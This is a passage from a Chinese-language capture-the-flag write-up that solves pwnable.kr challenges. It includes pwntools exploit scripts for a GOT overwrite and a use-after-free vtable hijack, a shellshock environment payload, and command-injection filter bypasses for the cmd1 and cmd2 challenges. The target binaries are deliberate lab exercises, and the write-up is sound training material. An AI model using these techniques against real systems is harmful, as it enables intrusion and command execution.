<span class="n">printf</span><span class="p">(</span><span class="s">"Login Failed!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>该程序的安全机制为<code class="language-plaintext highlighter-rouge">No PIE</code>和<code class="language-plaintext highlighter-rouge">Partial RELRO</code>,加上写入的地址可控,很自然地想到向<code class="language-plaintext highlighter-rouge">fflush.got.plt</code>中,写入判断成功后的程序地址即可。exp脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">fflush_got</span> <span class="o">=</span> <span class="mh">0x0804A004</span>
<span class="n">ok</span> <span class="o">=</span> <span class="mh">0x080485E3</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'/home/passcode/passcode'</span><span class="p">)</span>
<span class="c1">#gdb.attach(p)
#p.recvuntil('name : ')
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x60</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">fflush_got</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ok</span><span class="p">))</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
</code></pre></div></div>
<h2>random</h2>
<p>此题目为常见的编程错误。<code class="language-plaintext highlighter-rouge">man 3 rand</code>可知如果没有使用<code class="language-plaintext highlighter-rouge">srand</code>函数设置<code class="language-plaintext highlighter-rouge">seed</code>,则使用1作为种子。运行时的种子相同,产生的伪随机数序列也就相同可预知了。预测随机数的代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdlib.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">random</span><span class="p">,</span> <span class="n">key</span><span class="p">;</span>
<span class="n">random</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">random</span> <span class="o">^</span> <span class="mh">0xdeadbeef</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Get random %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">random</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Get key %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>input</h2>
<p>UNIX系统编程训练的题目。需要注意的是,其使用<code class="language-plaintext highlighter-rouge">char</code>来访问对应的参数,可使用<code class="language-plaintext highlighter-rouge">tubes.process.stderr</code>向标准错误<a href="https://github.com/Gallopsled/pwntools/blob/292b81af17/pwnlib/tubes/process.py#L971">写入</a>。编程代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">stage1</span> <span class="o">=</span> <span class="p">[</span><span class="s">'C'</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">100</span><span class="p">)]</span>
<span class="n">stage1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s">'./input'</span>
<span class="n">stage1</span><span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">)]</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">stage1</span><span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="s">'B'</span><span class="p">)]</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x20\x0a\x0d</span><span class="s">'</span>
<span class="n">stage1</span><span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="s">'C'</span><span class="p">)]</span> <span class="o">=</span> <span class="s">'62333'</span>
<span class="n">stage3</span> <span class="o">=</span> <span class="p">{</span><span class="s">'</span><span class="se">\xde\xad\xbe\xef</span><span class="s">'</span><span class="p">:</span> <span class="s">'</span><span class="se">\xca\xfe\xba\xbe</span><span class="s">'</span><span class="p">}</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'</span><span class="se">\x0a</span><span class="s">'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">stage4</span><span class="p">:</span>
<span class="n">stage4</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'</span><span class="se">\x00\x00\x00\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">stage1</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">stage3</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'clear!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\x00\x0a\x00\xff</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'</span><span class="se">\x00\x0a\x02\xff</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Stage 4 clear!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="mi">62333</span><span class="p">)</span>
<span class="n">l</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\xde\xad\xbe\xef</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'clear!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<h2>leg</h2>
<p>这一题考察ARM汇编的知识,直接引用《逆向工程实战》ARM章节里的知识点:</p>
<ol>
<li>通过BX和BLX指令进行分支跳转的时候,如果目标寄存器的最低有效位是1,就切换到Thumb状态。(尽管指令是2字节对齐或4字节对齐的,但处理器会忽略最低有效位,因此不会有对齐的问题。)</li>
<li>BLX(Branch with Link and Exchange)可以接受偏移量或寄存器作为跳转目标,而且在BLX指令使用偏移量的情况下,处理器总是会切换状态(ARM到Thumb或反之)。</li>
<li>R14用作连接寄存器(Link Register, LR),通常用于在函数调用中保存返回地址。</li>
<li>R15用作程序计数器(Program Counter, PC)。在ARM状态下执行的时候,PC是当前指令的地址加8(两条ARM指令之后);在Thumb状态下,它是当前指令的地址加4(两条16位Thumb指令之后)。</li>
</ol>
<p>最终计算脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">key1_pc</span> <span class="o">=</span> <span class="mh">0x00008ce4</span>
<span class="n">key2_thumb_addr</span> <span class="o">=</span> <span class="mh">0x00008d08</span> <span class="o">+</span> <span class="mi">4</span>
<span class="n">key3_lr</span> <span class="o">=</span> <span class="mh">0x00008d80</span>
<span class="k">print</span> <span class="n">key1_pc</span><span class="o">+</span><span class="n">key2_thumb_addr</span><span class="o">+</span><span class="n">key3_lr</span>
</code></pre></div></div>
<h2>mistake</h2>
<p>此题目提示是一个编程错误,但乍一看是读取password文件,和输入的password对比正确才给flag,逻辑上看不出什么问题,实际运行和反汇编就可以知道,在判断fd时由于操作符的优先级问题,使得fd在表达式中被赋值为0,那么原始password就是从标准输入读取了,是我们可控的内容:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
<span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">fd</span><span class="o">=</span><span class="n">open</span><span class="p">(</span><span class="s">"/home/mistake/password"</span><span class="p">,</span><span class="n">O_RDONLY</span><span class="p">,</span><span class="mo">0400</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"can't open password %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">fd</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"do not bruteforce...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">%</span><span class="mi">20</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">pw_buf</span><span class="p">[</span><span class="n">PW_LEN</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">len</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">len</span><span class="o">=</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">pw_buf</span><span class="p">,</span><span class="n">PW_LEN</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"read error</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>IDA里面看也比较直观:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">v8</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/home/mistake/password"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">256LL</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">>=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"do not bruteforce..."</span><span class="p">);</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">v5</span> <span class="o">%</span> <span class="mi">20</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)</span><span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0xAuLL</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"input password : "</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">);</span>
<span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%10s"</span><span class="p">,</span> <span class="o">&</span><span class="n">s2</span><span class="p">);</span>
<span class="n">xor</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="o">&</span><span class="n">s2</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="o">&</span><span class="n">s2</span><span class="p">,</span> <span class="mh">0xAuLL</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Password OK"</span><span class="p">);</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>exp脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">password1</span><span class="o">=</span> <span class="s">'A'</span><span class="o">*</span><span class="mi">10</span>
<span class="n">password2</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span><span class="o">^</span><span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">password1</span><span class="p">])</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'/home/mistake/mistake'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'bruteforce...</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">password1</span><span class="p">)</span>
<span class="c1">#p.recvuntil('password : ')
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">password2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'OK</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
</code></pre></div></div>
<h2>shellshock</h2>
<p>此题是对shellshock漏洞的利用,可参看<a href="https://www.cnblogs.com/wangba/p/4523420.html">《实验三ShellShock 攻击实验》</a>,有时间也可以对CVE-2014-6271进行深入分析。简单的利用方式如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">x</span><span class="o">=</span><span class="s1">'() { :;};/bin/cat flag'</span>
./shellshock
</code></pre></div></div>
<h2>coin1</h2>
<p>此题目考察编程能力,从一堆好币中称出唯一的坏币,使用二分法的思想,递归地去称重量不对的那一部分。编程脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="k">def</span> <span class="nf">scale</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">></span> <span class="n">c</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">n</span> <span class="o">=</span> <span class="n">k</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">k</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">]</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">k</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">:]</span>
<span class="n">t</span> <span class="o">=</span> <span class="s">' '</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">str</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">m</span><span class="p">])</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="bp">False</span><span class="p">)</span>
<span class="k">if</span> <span class="s">'Correct'</span> <span class="ow">in</span> <span class="n">s</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">elif</span> <span class="n">s</span> <span class="o">==</span> <span class="nb">str</span><span class="p">(</span><span class="mi">10</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)):</span>
<span class="n">scale</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">scale</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">():</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="bp">False</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'='</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'='</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">k</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">))]</span>
<span class="n">scale</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="mi">9007</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'3 sec... -</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
<span class="n">run</span><span class="p">()</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<h2>blackjack</h2>
<p>这道题目源代码看似有些多,但还是编程错误的问题。运行一遍便可理解为21点牌的玩法,虽然庄家有些黑(先跟你比大小再看自己有没有爆掉),但在下注时的问题还是蛮明显的。<code class="language-plaintext highlighter-rouge">betting</code>函数中只做了一次校验,算是一种整数溢出吧,赢几次或者输几次成为百万富翁即可得到flag。缺陷代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">betting</span><span class="p">()</span> <span class="c1">//Asks user amount to bet</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Enter Bet: $"</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&</span><span class="n">bet</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bet</span> <span class="o">></span> <span class="n">cash</span><span class="p">)</span> <span class="c1">//If player tries to bet more money than player has</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">You cannot bet more money than you have."</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Enter Bet: "</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&</span><span class="n">bet</span><span class="p">);</span>
<span class="k">return</span> <span class="n">bet</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">return</span> <span class="n">bet</span><span class="p">;</span>
<span class="p">}</span> <span class="c1">// End Function</span>
</code></pre></div></div>
<h2>lotto</h2>
<p>此题目还是一个编程错误的问题。看样子像是要我们预测6位随机数,但奇怪的是没有用<code class="language-plaintext highlighter-rouge">strncmp</code>函数,而是套了两层for循环:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// calculate lotto score</span>
<span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">6</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">j</span><span class="o"><</span><span class="mi">6</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">lotto</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">submit</span><span class="p">[</span><span class="n">j</span><span class="p">]){</span>
<span class="n">match</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这就意味着输入的6个相同的数,只要有1个出现在随机数序列中即可拿到flag,大大提升了命中的概率。预测脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0101010101010101</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ssh</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="s">'lotto'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">2222</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'guest'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">process</span><span class="p">([</span><span class="s">'./lotto'</span><span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline_endswith</span><span class="p">(</span><span class="s">'Exit'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'bytes : '</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">if</span> <span class="n">r</span> <span class="o">!=</span> <span class="s">'bad luck...</span><span class="se">\n</span><span class="s">'</span><span class="p">:</span>
<span class="k">print</span> <span class="n">r</span>
<span class="k">break</span>
</code></pre></div></div>
<h2>cmd1</h2>
<p>简单的命令注入绕过题目。覆盖了<code class="language-plaintext highlighter-rouge">PATH</code>环境变量,使用绝对路径绕过,检测<code class="language-plaintext highlighter-rouge">flag</code>、<code class="language-plaintext highlighter-rouge">sh</code>、<code class="language-plaintext highlighter-rouge">tmp</code>关键字,使用<code class="language-plaintext highlighter-rouge">*</code>匹配即可。绕过方法如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ./cmd1 <span class="s1">'/bin/cat f*'</span>
</code></pre></div></div>
<h2>cmd2</h2>
<p>命令注入绕过的进阶版,增加了对<code class="language-plaintext highlighter-rouge">/</code>的检测,参考过<a href="https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/">《命令执行的一些绕过技巧》</a>后,感觉还是需要对字符进行编码解码绕过。常见的思路为借助根目录或者<code class="language-plaintext highlighter-rouge">printf \ddd</code>的形式绕过,绕过方式如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /<span class="p">;</span>/home/cmd2/cmd2 <span class="s1">'$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*'</span>
./cmd2 <span class="s1">'$(printf \\057)bin$(printf \\057)cat f*'</span>
</code></pre></div></div>
<p><a href="http://pwnable.kr/writeup.php?task_no=49">writeup</a>当中还有借助<code class="language-plaintext highlighter-rouge">command -p</code>命令来使用默认的<code class="language-plaintext highlighter-rouge">PATH</code>,这一招也是够独特的。</p>
<h2>uaf</h2>
<p>最基础的UAF漏洞利用题目。利用的关键在于,先free掉原始的对象,然后使用新分配的内容占住原始内存,进而覆盖原始对象的相关结构,如此题目中的虚表,当再次use时即可劫持ip跳转至<code class="language-plaintext highlighter-rouge">give_shell</code>函数。利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s">'/tmp/larryxi/f'</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401570</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'/home/uaf/uaf'</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span> <span class="n">filename</span><span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'free'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'free'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'free'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'free'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="s">'free'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
